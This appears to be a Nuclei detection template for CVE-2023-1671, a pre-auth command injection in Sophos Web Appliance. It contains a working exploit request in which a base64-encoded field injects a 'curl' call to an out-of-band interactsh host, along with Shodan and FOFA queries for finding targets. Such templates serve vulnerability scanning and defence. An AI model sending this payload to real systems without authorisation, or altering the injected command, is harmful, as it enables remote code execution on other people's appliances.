43 lines
1.2 KiB
YAML
43 lines
1.2 KiB
YAML
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id: CVE-2023-1671
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info:
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name: Sophos Web Appliance - Remote Code Execution
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author: Co5mos
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severity: critical
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description: |
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A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
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reference:
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- https://vulncheck.com/blog/cve-2023-1671-analysis
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- https://nvd.nist.gov/vuln/detail/CVE-2023-1671
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-1671
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cwe-id: CWE-77
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metadata:
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verified: "true"
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fofa-query: title="Sophos Web Appliance"
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shodan-query: title:"Sophos Web Appliance"
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tags: cve,cve2023,rce,sophos,oast
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http:
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- raw:
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- |
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POST /index.php?c=blocked&action=continue HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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User-Agent: curl/7.86.0
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args_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64("\';curl http://{{interactsh-url}} #")}}
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: curl"
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